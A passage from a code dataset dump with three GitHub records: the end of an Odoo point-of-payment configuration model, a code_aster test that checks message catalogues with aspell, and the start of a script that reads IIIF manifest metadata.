fields.Char(compute='_compute_current_session_user')\r\n\r\n    company_id = fields.Many2one('res.company', string='Company', required=True, default=lambda self: self.env.user.company_id)\r\n\r\n    cash_control = fields.Boolean(string='Has Cash Control',default=True,readonly=True)\r\n\r\n    sequence_id = fields.Many2one('ir.sequence', string='Secuencia de sesiones', required=True,\r\n        help=\"Numeración de las sesiones de caja.\", copy=False)\r\n\r\n    last_closed_session_id = fields.Many2one('pop.session', string='Ultima sesión cerrada')\r\n\r\n    @api.depends('session_ids')\r\n    def _compute_current_session_user(self):\r\n        for pop in self:\r\n            session = pop.session_ids.filtered(lambda s: s.state in ['opening_control', 'opened', 'closing_control'])\r\n            if session:\r\n                pop.pop_session_username = session[0].user_id.sudo().name\r\n                pop.pop_session_state = session[0].state\r\n                pop.pop_session_duration = (\r\n                    datetime.now() - session[0].start_at\r\n                ).days if session[0].start_at else 0\r\n            else:\r\n                pop.pop_session_username = False\r\n                pop.pop_session_state = False\r\n                pop.pop_session_duration = 0\r\n    \r\n    @api.depends('session_ids')\r\n    def _compute_current_session(self):\r\n        for pop in self:\r\n            session = pop.session_ids.filtered(lambda r: r.user_id.id == self.env.uid and \\\r\n                not r.state == 'closed')\r\n            # sessions ordered by id desc\r\n            pop.current_session_id = session and session[0].id or False\r\n            pop.current_session_state = session and session[0].state or False\r\n\r\n    def open_session_cb(self):\r\n        \"\"\" new session button\r\n\r\n        create one if none exist\r\n        access cash control interface if enabled or start a session\r\n        \"\"\"\r\n        self.ensure_one()\r\n        sesiones_sin_cerrar = self.env['pop.session'].search([('pop_id','=',self.id),('state','!=','closed')])\r\n        if len(sesiones_sin_cerrar) > 0:\r\n            raise UserError(_(\"Existe una sesion sin cerrar. Refresque la página.\"))\r\n        else:\r\n            if not self.current_session_id:\r\n                self.current_session_id = self.env['pop.session'].create({\r\n                    'user_id': self.env.uid,\r\n                    'pop_id': self.id\r\n                })\r\n                if self.current_session_id.state == 'opened':\r\n                    return self.open_ui()\r\n                return self._open_session(self.current_session_id.id)\r\n            return self._open_session(self.current_session_id.id)\r\n\r\n    def open_existing_session_cb(self):\r\n        \"\"\" close session button\r\n\r\n        access session form to validate entries\r\n        \"\"\"\r\n        self.ensure_one()\r\n        return self._open_session(self.current_session_id.id)\r\n\r\n    def _open_session(self, session_id):\r\n        return {\r\n            'name': ('Session'),\r\n            'view_type': 'form',\r\n            'view_mode': 'form,tree',\r\n            'res_model': 'pop.session',\r\n            'res_id': session_id,\r\n            'view_id': False,\r\n            'type': 'ir.actions.act_window',\r\n        }\r\n\r\n    @api.model\r\n    def create(self, vals):\r\n        res = super(PopConfig, self).create(vals)\r\n        if not res[\"journal_ids\"].filtered(lambda x: x.type == 'cash' and x.cash_control):\r\n            raise ValidationError(\"Debe informar un diario de tipo 'Efectivo' y con control de efectivo\")\r\n        return res\r\n\r\n    def write(self, vals):\r\n        res = super(PopConfig, self).write(vals)\r\n        for rec in self:\r\n            if not rec.journal_ids.filtered(lambda x: x.type == 'cash' and x.cash_control):\r\n                raise ValidationError(\"Debe informar un diario de tipo 'Efectivo' y con control de efectivo\")\r\n        \r\n        return res", "repo_name": "juanpgarza/account-addons", "sub_path": "point_of_payment/models/pop_config.py", "file_name": "pop_config.py", "file_ext": "py", "file_size_in_byte": 5210, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "71", "api": [{"api_name": "odoo.models.Model", "line_number": 16, "usage_type": "attribute"}, {"api_name": "odoo.models", "line_number": 16, "usage_type": "name"}, {"api_name": "odoo.fields.Char", "line_number": 20, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 20, "usage_type": "name"}, {"api_name": "odoo.fields.Many2many", "line_number": 21, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 21, "usage_type": "name"}, {"api_name": "odoo.fields.One2many", "line_number": 26, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 26, "usage_type": "name"}, {"api_name": "odoo.fields.Many2one", "line_number": 28, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 28, "usage_type": "name"}, {"api_name": "odoo.fields.Char", "line_number": 29, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 29, "usage_type": "name"}, {"api_name": "odoo.fields.Char", "line_number": 30, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 30, "usage_type": "name"}, {"api_name": "odoo.fields.Char", "line_number": 31, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 31, "usage_type": "name"}, {"api_name": "odoo.fields.Char", "line_number": 32, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 32, "usage_type": "name"}, {"api_name": "odoo.fields.Many2one", "line_number": 34, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 34, "usage_type": "name"}, {"api_name": "odoo.fields.Boolean", "line_number": 36, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 36, "usage_type": "name"}, {"api_name": "odoo.fields.Many2one", "line_number": 38, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 38, "usage_type": "name"}, {"api_name": "odoo.fields.Many2one", "line_number": 41, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 41, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 51, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 51, "usage_type": "name"}, {"api_name": "odoo.api.depends", "line_number": 43, "usage_type": "call"}, {"api_name": "odoo.api", "line_number": 43, "usage_type": "name"}, {"api_name": "odoo.api.depends", "line_number": 58, "usage_type": "call"}, {"api_name": "odoo.api", "line_number": 58, "usage_type": "name"}, {"api_name": "odoo.exceptions.UserError", "line_number": 76, "usage_type": "call"}, {"api_name": "odoo._", "line_number": 76, "usage_type": "call"}, {"api_name": "odoo.exceptions.ValidationError", "line_number": 111, "usage_type": "call"}, {"api_name": "odoo.api.model", "line_number": 107, "usage_type": "attribute"}, {"api_name": "odoo.api", "line_number": 107, "usage_type": "name"}, {"api_name": "odoo.exceptions.ValidationError", "line_number": 118, "usage_type": "call"}]}
{"seq_id": "17524749157", "text": "import gettext\nimport multiprocessing as MPR\nimport os\nimport os.path as osp\nimport queue\nimport re\nimport signal\nimport tempfile\nimport time\nimport traceback\nfrom functools import partial\nfrom glob import glob\nfrom subprocess import PIPE, Popen\n\nimport code_aster.Messages\nfrom code_aster.Messages import UTMESS, MessageLog\nfrom code_aster.Utilities import convert, is_int\nfrom code_aster.Utilities import localization as LO\n\nENCODING = \"utf-8\"\nVALUES = MessageLog.default_args.copy()\nVALUES['ktout'] = 'xxxxxx'\n\nREI = re.compile(r'%\\(i[0-9]+\\)[\\.0-9\\-\\+ ]*([a-zA-Z])', re.M)\nRER = re.compile(r'%\\(r[0-9]+\\)[\\.0-9\\-\\+ ]*([a-zA-Z])', re.M)\nREK = re.compile(r'%\\(k[0-9]+\\)[\\.0-9\\-\\+]*([a-zA-Z])', re.M)\nRE1 = re.compile(r'%\\((.[^0-9].*?)\\)[\\.0-9\\-\\+ ]*[a-zA-Z]', re.M)\nRE2 = re.compile(r'%\\(([^irk].*?)\\)[\\.0-9\\-\\+ ]*[a-zA-Z]', re.M)\n\nRE_UNAUTH = [\n    re.compile(r'([*#=\\+\\-!/\\?<>&@]{4})', re.M),\n]\n\ntry:\n    import aster\n    from code_aster.Cata.Syntax import _F\n    from code_aster.Commands import CREA_TABLE, TEST_TABLE\n    loginfo = partial(aster.affiche, 'MESSAGE')\nexcept ImportError:\n    def loginfo(msg):\n        print(msg)\nlogdbg = None\n\n\nclass Checker(object):\n    \"\"\"A simple checker object.\"\"\"\n    def __init__(self, aspell):\n        self.err = []\n        self.wrn = []\n        self.allwarns = []\n        self.lang = None\n        self.mod = None\n        self.words = set()\n        self.allwords = set()\n        self.ignored = set()\n        self.aspell = aspell\n\n    def set_ignored(self, errors):\n        self.ignored = set(errors)\n\n    def set_current_lang(self, lang):\n        self.lang = lang\n\n    def set_current_mod(self, mod):\n        self.mod = mod\n\n    def info(self, msg):\n        loginfo(\"<%s> %s: %s\" % (self.lang, self.mod, msg))\n\n    def error(self, error):\n        self.err.append((self.lang, self.mod, error))\n\n    def warning(self, error):\n        self.wrn.append((self.lang, self.mod, error))\n\n    def warning_spell(self, idmess, words):\n        msg = \"%s: unknown words %s\" % (idmess, tuple(words))\n        if set(words).difference(self.ignored):\n            self.warning(msg)\n            self.words.update(words)\n        self.allwarns.append((self.lang, self.mod, msg))\n        self.allwords.update(words)\n\n    def count_errors(self):\n        return len(self.err)\n\n    def count_unknown_words(self):\n        return len(self.get_unknown_words())\n\n    def get_errors(self):\n        txt = [\"<%s> %s: %s\" % err for err in self.err]\n        return os.linesep.join(txt)\n\n    def get_warnings(self):\n        txt = [\"<%s> %s: %s\" % wrn for wrn in self.wrn]\n        return os.linesep.join(txt)\n\n    def get_all_warnings(self):\n        txt = [\"<%s> %s: %s\" % wrn for wrn in self.allwarns]\n        return os.linesep.join(txt)\n\n    def get_unknown_words(self):\n        lw = list(self.words)\n        lw.sort()\n        return lw\n\n    def get_all_words(self):\n        lw = list(self.allwords)\n        lw.sort()\n        return lw\n\n    def get_modules(self):\n        smod = set([mod for lang, mod, err in self.err])\n        lmod = list(smod)\n        lmod.sort()\n        return lmod\n\n\ndef read_file(stream, queue):\n    \"\"\"Read on stream and put lines into queue\"\"\"\n    while True:\n        line = stream.readline().strip()\n        logdbg and logdbg(\"aspell outputs: %r\" % line)\n        queue.put(line)\n\n\nclass AspellCall(object):\n    \"\"\"A pipe to call aspell\"\"\"\n    def __init__(self, personal_dict, lang, encoding):\n        \"\"\"Open the pipe\"\"\"\n        cmd = ['aspell', 'pipe',\n               '--encoding=%s' % encoding,'--lang=%s' % lang]\n        if personal_dict and osp.exists(personal_dict):\n            cmd.append('--personal=%s' % personal_dict)\n        logdbg and logdbg('command: ' + ' '.join(cmd))\n        self.lang = lang\n        self.pipe = Popen(cmd, stdin=PIPE, stdout=PIPE, universal_newlines=True)\n        self.inp = self.pipe.stdin\n        self.out = self.pipe.stdout\n        self.queue = MPR.Queue()\n        self.rdr = MPR.Process(target=read_file, args=(self.out, self.queue))\n        self.rdr.start()\n        init = self.queue.get()\n        assert 'aspell' in init.lower(), ('aspell probably failed to start: \\n'\n                                          '%s' % init)\n        # all characters except alphabetic ones are separators\n        self._rxspl = re.compile(r'[ _0123456789\\W]+', re.M | re.I | re.UNICODE)\n\n    def __del__(self):\n        \"\"\"Close the pipe\"\"\"\n        self.close()\n\n    def close(self):\n        \"\"\"Close the pipe\"\"\"\n        self.inp.close()\n        self.out.close()\n        self.rdr.terminate()\n        self.pipe.terminate()\n\n    def _clean(self, string):\n        \"\"\"clean 'string' before passing it to aspell\"\"\"\n        if type(string) is not str:\n            string = str(string, ENCODING)\n        uwords = self._rxspl.split(string.strip())\n        uwords = [i for i in uwords if i and not i[0].isdigit()]\n        string = ' '.join([i for i in uwords if len(i) > 1])\n        return string.strip()\n\n    def send(self, string):\n        \"\"\"Send 'string' and return the response of aspell\"\"\"\n        string = self._clean(string)\n        logdbg and logdbg('check: %r' % string)\n        words = string.split()\n        logdbg and logdbg('words: %r' % words)\n        resp = []\n        if not words:\n            return words, resp\n        self.inp.write(string + os.linesep)\n        self.inp.flush()\n        while True:\n            try:\n                resp.append(self.queue.get_nowait())\n                #logdbg and logdbg('returns: %r' % resp[-1])\n            except queue.Empty:\n                if len(resp) == 0 or resp[-1] != '':\n                    continue\n                break\n        if len(resp) != len(words) + 1:\n            loginfo(\"warning: expected answer of aspell:\\n words=%r\\n resp=%r\"\n                    % (words, resp))\n        #logdbg and logdbg('resp: %r' % zip(words, resp))\n        return words, resp\n\n    def check(self, string):\n        \"\"\"Return the unknown words\"\"\"\n        words, resp = self.send(string)\n        unknown = [w for w, r in zip(words, resp) if r.strip() != '*']\n        return unknown\n\n\ndef get_cata_msg(catamess):\n    \"\"\"Import a messages file\"\"\"\n    import importlib\n    cata_msg = {}\n    try:\n        d = {}\n        mod = __import__(\"code_aster.Messages.%s\" % catamess, d, d, [catamess])\n        importlib.reload(mod)\n        cata_msg = getattr(mod, 'cata_msg', {})\n    except UnicodeDecodeError:\n        UTMESS('F', 'CATAMESS_1',\n               valk=(\"Encodage invalide pour le fichier de messages : '%s'\" % catamess,\n                     traceback.format_exc()))\n    except Exception:\n        UTMESS('F', 'CATAMESS_1',\n               valk=(\"Nom du fichier de messages : '%s'\" % catamess,\n                     traceback.format_exc()))\n    return cata_msg\n\n\ndef check_format(checker, catamess, idmess, msg, typ):\n    \"\"\"Check the format used for the given type 'typ'.\"\"\"\n    dre = {\n        'integer' : (REI, ['d', 'i']),\n        'real'    : (RER, ['f', 'g', 'e', 'F', 'G', 'E']),\n        'string'  : (REK, ['s', ]),\n        'other1'   : (RE1, ['ktout', ]),\n        'other2'   : (RE2, []),\n    }\n    expr, l_auth = dre[typ]\n    arg = expr.findall(msg)\n    unauth = set(arg).difference(l_auth)\n    if len(unauth) > 0:\n        checker.error(\"%s : invalid format for type '%s' : %s\" % (idmess, typ, tuple(unauth)))\n\n\ndef check_msg(checker, catamess, msg, key, lang):\n    \"\"\"Check a message.\"\"\"\n    idmess = \"%s_%s\" % (catamess, key)\n    # check type : a string expected\n    if type(msg) is not str:\n        checker.error(lang, \"%s has a wrong type\" % idmess)\n    if msg.strip() == '' and catamess != \"vide\":\n        checker.error(\"%s is empty : use VIDE_1 for that!\" % idmess)\n    assert is_int(key), 'unexpected key : %s' % key\n    # check unauthorized formatting\n    for re_unauth in RE_UNAUTH:\n        mat = re_unauth.search(msg)\n        if mat:\n            checker.info(\"unrecommanded formatting in %s : %s\" % (idmess, mat.groups()))\n    # check formatting\n    txt = None\n    try:\n        txt = msg % VALUES\n    except Exception as exc:\n        trace = repr(exc)\n        checker.error(\"%s can not be formatted :\\nmessage: %r\\n%s\"\n                      % (idmess, msg, trace))\n    # check arguments\n    for typ in ('integer', 'real', 'string', 'other1', 'other2'):\n        check_format(checker, catamess, idmess, msg, typ)\n    if txt and lang == 'fr':\n        logdbg and logdbg('idmess: %s' % idmess)\n        unknown = checker.aspell.check(txt)\n        if unknown:\n            idmess = \"%s_%s\" % (catamess, key)\n            unknown = [convert(word) for word in unknown]\n            checker.warning_spell(idmess, unknown)\n\n\n_pws = None\ndef get_personal_dict():\n    \"\"\"Build the dictionnary for Code_Aster : keywords + personal dict.\"\"\"\n    global _pws\n    if _pws:\n        return _pws\n    cnt = ['personal_ws-1.1 fr 0 %s' % ENCODING, ]\n    dictdir = osp.join(os.environ['HOME'], 'dev', 'codeaster', 'devtools',\n                       'share', 'spell')\n    cata = osp.join(dictdir, 'code_aster_cata.aspell.per')\n    if osp.exists(cata):\n        # ignore the first line\n        with open(cata, 'r') as fper:\n            cnt.extend(fper.read().splitlines()[1:])\n    else:\n        raise IOError(\"no such file: {0}\\nAn updated devtools repository is \"\n                      \"required!\".format(cata))\n    cawl = osp.join(dictdir, 'code_aster_dict.aspell.per')\n    if osp.exists(cawl):\n        # ignore the first line\n        with open(cawl, 'r') as fper:\n            cnt.extend(fper.read().splitlines()[1:])\n    else:\n        raise IOError(\"no such file: {0}\\nAn updated devtools repository is \"\n                      \"required!\".format(cawl))\n    fd, _pws = tempfile.mkstemp(dir=os.getcwd())\n    with open(fd, 'w') as fobj:\n        fobj.write(os.linesep.join([line for line in cnt if line.strip()]))\n    return _pws\n\n\ndef check_catamess(checker, lang, l_cata):\n    \"\"\"Check all the messages files\"\"\"\n    checker.set_current_lang(lang)\n    checker.set_current_mod('-')\n    loginfo(\" lang=%s, domain=%s, localedir=%s\" % (LO.current_lang, LO.domain, LO.localedir))\n    tr = LO.translation(lang)\n    if lang != 'fr' and not isinstance(tr, gettext.GNUTranslations):\n        checker.warning(\"no translation object for language '%s'\" % lang)\n        return\n    pwl = get_personal_dict()\n    if not pwl and lang == 'fr':\n        checker.error(\"Code_Aster personal dict not found: %s\" % pwl)\n    for catamess in l_cata:\n        checker.set_current_mod(catamess)\n        loginfo(\"<%s> checking %s...\" % (lang, catamess))\n        if catamess == 'dvp':\n            continue\n        cata_msg = get_cata_msg(catamess)\n        for key, msg in list(cata_msg.items()):\n            if type(msg) == dict:\n                msg  = msg['message']\n            check_msg(checker, catamess, msg, key, lang)\n\n\ndef timekeeper(pid, delay):\n    \"\"\"Kill 'pid' if it times out\"\"\"\n    time.sleep(delay)\n    UTMESS('E', 'CATAMESS_1',\n           valk=(\"\"\"\nThe process %d timed out after %d seconds.\n\nIt probably blocks reading the response of aspell on its stdout...\nTry run with INFO=2 to have all the details.\n\"\"\" % (pid, delay), \"\"\"Interruption : kill the main process!\"\"\"))\n    os.kill(pid, signal.SIGTERM)\n\n\ndef supv002_ops(self, ERREUR, **kwargs):\n    \"\"\"Fake macro-command to check messages\"\"\"\n    global logdbg\n    if kwargs.get('INFO') == 2:\n        logdbg = loginfo\n    # existing errors\n    previous_errors = set(ERREUR)\n    os.environ['LANG'] = 'fr_FR.utf8'\n    # remove all LC_xxxx variables\n    keys = [k for k in list(os.environ.keys()) if k.startswith('LC_')]\n    for k in keys:\n        del os.environ[k]\n    msgdir = osp.dirname(code_aster.Messages.__file__)\n    LCATA = [osp.basename(osp.splitext(cata)[0]) for cata in glob(osp.join(msgdir, '*.py'))]\n    #LCATA = [osp.basename(osp.splitext(cata)[0]) for cata in glob(osp.join(msgdir, 'mecanonline9.py'))]\n\n    # check for installation problem: http://bugs.python.org/issue3770\n    do_check = True\n    try:\n        MPR.Queue()\n    except ImportError as exc:\n        if 'sem_open implementation' in str(exc):\n            do_check = False\n            print(\"\\n   Problem detected ! supv002a can not run on this machine\\n\\n\")\n    # FIXME temporarly disabled!\n    # do_check = False\n    if do_check:\n        try:\n            aspell = AspellCall(get_personal_dict(), 'fr', ENCODING)\n            checker = Checker(aspell)\n            checker.set_ignored(ERREUR)\n            # check default/native messages\n            check_catamess(checker, 'fr', LCATA)\n            # check translated messages in english\n            check_catamess(checker, 'en', LCATA)\n            # close aspell\n            aspell.close()\n        except OSError as exc:\n            checker = Checker(None)\n            checker.error(\"Can not start aspell: {0}\".format(exc))\n\n        nberr = checker.count_errors()\n        errors = checker.get_errors() + \"\"\"\\nNumber of errors : %d\"\"\" % nberr\n        allw = checker.get_all_words()\n        nbwrn = len(allw)\n        warns = checker.get_warnings()\n        torm = list(previous_errors.difference(allw))\n        torm.sort()\n        new = checker.get_unknown_words()\n        nbnew = len(new)\n    else:\n        nberr = nbnew = 0\n        nbwrn = len(previous_errors)\n        warns = ''\n        errors = []\n        torm = []\n\n    if kwargs.get('unittest'):\n        print(warns)\n        print(errors)\n        return 1\n\n    if nberr > 0:\n        UTMESS('A', 'CATAMESS_1', valk=(\"%6d erreurs\" % nberr, errors))\n    if kwargs.get('INFO') == 2:\n        warns = checker.get_all_warnings()\n    if warns:\n        UTMESS('A', 'CATAMESS_1',\n               valk=(\"Liste des alarmes et des erreurs par message\", warns))\n    if nbnew > 0:\n        UTMESS('A', 'CATAMESS_1',\n               valk=(\"Liste des nouvelles erreurs introduites à corriger :\",\n                     str(new)))\n    if torm:\n        UTMESS('A', 'CATAMESS_1',\n               valk=(\"Liste des erreurs qui n'apparaissent plus \"\n                     \"(à supprimer du mot-clé ERREUR) :\", str(torm)))\n\n    __tab = CREA_TABLE(LISTE=_F(PARA='NBERR', LISTE_I=nberr))\n\n    TEST_TABLE(REFERENCE='ANALYTIQUE',\n               VALE_CALC_I=0,\n               VALE_REFE_I=0,\n               NOM_PARA='NBERR',\n               TABLE=__tab,)\n\n    __tnew = CREA_TABLE(LISTE=_F(PARA='NBNEW_ERR', LISTE_I=nbnew))\n\n    TEST_TABLE(REFERENCE='ANALYTIQUE',\n               VALE_CALC_I=0,\n               VALE_REFE_I=0,\n               NOM_PARA='NBNEW_ERR',\n               TABLE=__tnew,)\n\n    __tabw = CREA_TABLE(LISTE=_F(PARA='NBWARN', LISTE_I=nbwrn))\n\n    TEST_TABLE(CRITERE='ABSOLU',\n               REFERENCE='ANALYTIQUE',\n               VALE_CALC_I=len(previous_errors),\n               VALE_REFE_I=0,\n               PRECISION=len(previous_errors),\n               NOM_PARA='NBWARN',\n               TABLE=__tabw,\n               )\n    return\n\n\nif __name__ != '__main__':\n    from code_aster.Cata.Syntax import MACRO, SIMP\n    from code_aster.Supervis.ExecuteCommand import UserMacro\n    supv_cata = MACRO(nom='SUPV002', op=supv002_ops,\n                      ERREUR = SIMP(statut='o',typ='TXM', max='**',),\n                      INFO = SIMP(statut='f',typ='I', defaut=1, into=(1, 2),),\n    )\n    SUPV002 = UserMacro(\"SUPV002\", supv_cata, supv002_ops)\nelse:\n    # run as unittest\n    # PYTHONPATH=$PYTHONPATH:/home/courtois/dev/codeaster/install/std/lib/python3.6/site-packages\n    # ASTER_ROOT=/opt/aster\n    # python -i astest/supv002a.33\n    #logdbg = loginfo\n    #aspell = AspellCall(get_personal_dict(), 'fr', 'utf-8')\n    #unk = aspell.check(\"On ne peut pas vérifier les fotes d'orthografe.\")\n    #assert len(unk) == 2, unk\n    #del aspell\n    supv002_ops(None, [], unittest=True)\n", "repo_name": "ehmoussi/code_aster", "sub_path": "astest/supv002a.py", "file_name": "supv002a.py", "file_ext": "py", "file_size_in_byte": 15649, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "69", "api": [{"api_name": "code_aster.Messages.MessageLog.default_args.copy", "line_number": 21, "usage_type": "call"}, {"api_name": "code_aster.Messages.MessageLog.default_args", "line_number": 21, "usage_type": "attribute"}, {"api_name": "code_aster.Messages.MessageLog", "line_number": 21, "usage_type": "name"}, {"api_name": "re.compile", "line_number": 24, "usage_type": "call"}, {"api_name": "re.M", "line_number": 24, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 25, "usage_type": "call"}, {"api_name": "re.M", "line_number": 25, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 26, "usage_type": "call"}, {"api_name": "re.M", "line_number": 26, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 27, "usage_type": "call"}, {"api_name": "re.M", "line_number": 27, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 28, "usage_type": "call"}, {"api_name": "re.M", "line_number": 28, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 31, "usage_type": "call"}, {"api_name": "re.M", "line_number": 31, "usage_type": "attribute"}, {"api_name": "functools.partial", "line_number": 38, "usage_type": "call"}, {"api_name": "aster.affiche", "line_number": 38, "usage_type": "attribute"}, {"api_name": "os.linesep.join", "line_number": 92, "usage_type": "call"}, {"api_name": "os.linesep", "line_number": 92, "usage_type": "attribute"}, {"api_name": "os.linesep.join", "line_number": 96, "usage_type": "call"}, {"api_name": "os.linesep", "line_number": 96, "usage_type": "attribute"}, {"api_name": "os.linesep.join", "line_number": 100, "usage_type": "call"}, {"api_name": "os.linesep", "line_number": 100, "usage_type": "attribute"}, {"api_name": "queue.put", "line_number": 124, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 133, "usage_type": "call"}, {"api_name": "os.path", "line_number": 133, "usage_type": "name"}, {"api_name": "subprocess.Popen", "line_number": 137, "usage_type": "call"}, {"api_name": "subprocess.PIPE", "line_number": 137, "usage_type": "name"}, {"api_name": "multiprocessing.Queue", "line_number": 140, "usage_type": "call"}, {"api_name": "multiprocessing.Process", "line_number": 141, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 147, "usage_type": "call"}, {"api_name": "re.M", "line_number": 147, "usage_type": "attribute"}, {"api_name": "re.I", "line_number": 147, "usage_type": "attribute"}, {"api_name": "re.UNICODE", "line_number": 147, "usage_type": "attribute"}, {"api_name": "os.linesep", "line_number": 178, "usage_type": "attribute"}, {"api_name": "queue.Empty", "line_number": 184, "usage_type": "attribute"}, {"api_name": "importlib.reload", "line_number": 208, "usage_type": "call"}, {"api_name": "code_aster.Messages.UTMESS", "line_number": 211, "usage_type": "call"}, {"api_name": "traceback.format_exc", "line_number": 213, "usage_type": "call"}, {"api_name": "code_aster.Messages.UTMESS", "line_number": 215, "usage_type": "call"}, {"api_name": "traceback.format_exc", "line_number": 217, "usage_type": "call"}, {"api_name": "code_aster.Utilities.is_int", "line_number": 245, "usage_type": "call"}, {"api_name": "code_aster.Utilities.convert", "line_number": 267, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 278, "usage_type": "call"}, {"api_name": "os.path", "line_number": 278, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 278, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 280, "usage_type": "call"}, {"api_name": "os.path", "line_number": 280, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 281, "usage_type": "call"}, {"api_name": "os.path", "line_number": 281, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 288, "usage_type": "call"}, {"api_name": "os.path", "line_number": 288, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 289, "usage_type": "call"}, {"api_name": "os.path", "line_number": 289, "usage_type": "name"}, {"api_name": "tempfile.mkstemp", "line_number": 296, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 296, "usage_type": "call"}, {"api_name": "os.linesep.join", "line_number": 298, "usage_type": "call"}, {"api_name": "os.linesep", "line_number": 298, "usage_type": "attribute"}, {"api_name": "code_aster.Utilities.localization.current_lang", "line_number": 306, "usage_type": "attribute"}, {"api_name": "code_aster.Utilities.localization", "line_number": 306, "usage_type": "name"}, {"api_name": "code_aster.Utilities.localization.domain", "line_number": 306, "usage_type": "attribute"}, {"api_name": "code_aster.Utilities.localization.localedir", "line_number": 306, "usage_type": "attribute"}, {"api_name": "code_aster.Utilities.localization.translation", "line_number": 307, "usage_type": "call"}, {"api_name": "code_aster.Utilities.localization", "line_number": 307, "usage_type": "name"}, {"api_name": "gettext.GNUTranslations", "line_number": 308, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 328, "usage_type": "call"}, {"api_name": "code_aster.Messages.UTMESS", "line_number": 329, "usage_type": "call"}, {"api_name": "os.kill", "line_number": 336, "usage_type": "call"}, {"api_name": "signal.SIGTERM", "line_number": 336, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 346, "usage_type": "attribute"}, {"api_name": "os.environ.keys", "line_number": 348, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 348, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 350, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 351, "usage_type": "call"}, {"api_name": "os.path", "line_number": 351, "usage_type": "name"}, {"api_name": "code_aster.Messages.Messages", "line_number": 351, "usage_type": "attribute"}, {"api_name": "code_aster.Messages", "line_number": 351, "usage_type": "name"}, {"api_name": "os.path.basename", "line_number": 352, "usage_type": "call"}, {"api_name": "os.path", "line_number": 352, "usage_type": "name"}, {"api_name": "os.path.splitext", "line_number": 352, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 352, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 352, "usage_type": "call"}, {"api_name": "multiprocessing.Queue", "line_number": 358, "usage_type": "call"}, {"api_name": "code_aster.Messages.UTMESS", "line_number": 402, "usage_type": "call"}, {"api_name": "code_aster.Messages.UTMESS", "line_number": 406, "usage_type": "call"}, {"api_name": "code_aster.Messages.UTMESS", "line_number": 409, "usage_type": "call"}, {"api_name": "code_aster.Messages.UTMESS", "line_number": 413, "usage_type": "call"}, {"api_name": "code_aster.Commands.CREA_TABLE", "line_number": 417, "usage_type": "call"}, {"api_name": "code_aster.Cata.Syntax._F", "line_number": 417, "usage_type": "call"}, {"api_name": "code_aster.Commands.TEST_TABLE", "line_number": 419, "usage_type": "call"}, {"api_name": "code_aster.Commands.CREA_TABLE", "line_number": 425, "usage_type": "call"}, {"api_name": "code_aster.Cata.Syntax._F", "line_number": 425, "usage_type": "call"}, {"api_name": "code_aster.Commands.TEST_TABLE", "line_number": 427, "usage_type": "call"}, {"api_name": "code_aster.Commands.CREA_TABLE", "line_number": 433, "usage_type": "call"}, {"api_name": "code_aster.Cata.Syntax._F", "line_number": 433, "usage_type": "call"}, {"api_name": "code_aster.Commands.TEST_TABLE", "line_number": 435, "usage_type": "call"}, {"api_name": "code_aster.Cata.Syntax.MACRO", "line_number": 449, "usage_type": "call"}, {"api_name": "code_aster.Cata.Syntax.SIMP", "line_number": 450, "usage_type": "call"}, {"api_name": "code_aster.Cata.Syntax.SIMP", "line_number": 451, "usage_type": "call"}, {"api_name": "code_aster.Supervis.ExecuteCommand.UserMacro", "line_number": 453, "usage_type": "call"}]}
{"seq_id": "29710839209", "text": "import pandas as pd\nfrom rdflib import URIRef, BNode, Literal, Graph\nfrom rdflib.namespace import RDF, RDFS, FOAF, XSD\nfrom rdflib import Namespace\nimport numpy as np\nimport math\nimport sys\nimport argparse\nimport json\nimport html\nimport requests\nfrom openpyxl import Workbook, load_workbook\nfrom openpyxl.styles import Font\nimport openpyxl\n\n\n\nwith open(\"/Users/nakamurasatoru/git/d_sat/u-renja/static/iiif2/collection/top.json\") as f:\n    df2 = json.load(f)\n\nmanifests = df2[\"manifests\"]\n\nimages = {}\n\nfor m in manifests:\n    metadata = m[\"metadata\"]\n\n    num = -1\n    identifier = \"\"\n\n    for obj in metadata:\n        if \"Description\" in obj[\"label\"]:\n            num = obj[\"value\"][0].split(\"通番: \")[1]\n\n            num = int(num)\n\n        elif \"identifier\" in obj[\"label\"]:\n            identifier = obj[\"value\"]\n\n    if num not in images:\n        images[num] = []\n\n    images[num].append({\n        \"id\": m[\"@id\"],\n        \"identifier\": identifier\n    })\n\n'''\nfor num in images:\n    print(num, images[num])\n'''\n\n#############\n\nurl = \"https://taishozo.github.io/db/iiif/kandomokuroku/manifest.json\"\n\ndf = requests.get(url).json()\n\nindexMap = {}\n\ncanvases = 